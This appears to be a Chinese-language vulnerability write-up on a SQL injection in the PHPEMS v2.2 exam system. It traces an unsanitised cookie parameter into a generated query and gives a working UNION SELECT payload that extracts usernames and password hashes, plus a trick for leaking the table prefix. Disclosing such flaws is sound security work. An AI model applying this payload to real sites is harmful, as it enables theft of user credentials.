看文件 /app/exam/app.php 272-286行
跟下getCookie 文件/lib/ev.cls.php 81-85行
从cookie中获得参数,这里的knowsid没有处理。
然后带进了这个函数getRandQuestionListByKnowid
跟一下/app/exam/cls/question.cls.php 94-105行
注意$data,$knowid没有单引号也没有处理。
再看下makeSelect /lib/sql.cls.php 214-282
直接生成select语句的sql,没有处理。这样就导致了注入的产生。
利用过程:
首先注册个用户,开一个新考场

是免费的测试的。
然后访问
http://127.0.0.1/phpems_zxmnks_v2.2/index.php?exam-app-lesson-ajax-questions&number=1
抓包


输入poc
NULL) union select concat(username,0x23,userpassword) from x2_user #(

那么如果数据库前缀改掉了肿么办?
http://127.0.0.1/phpems_zxmnks_v2.2/index.php?exam-app-lesson-ajax-questions&number=
直接访问这个就行了,把number参数的值去掉,就可以爆出前缀,。。。。

官网的前缀不是x2,改掉了。通过这个方法爆出,然后上个图。
还有问题的函数
getRandQuestionRowsListByKnowid
getKnowsBySubjectAndAreaid
getRandQuestionList
没在仔细看了,睡觉了。。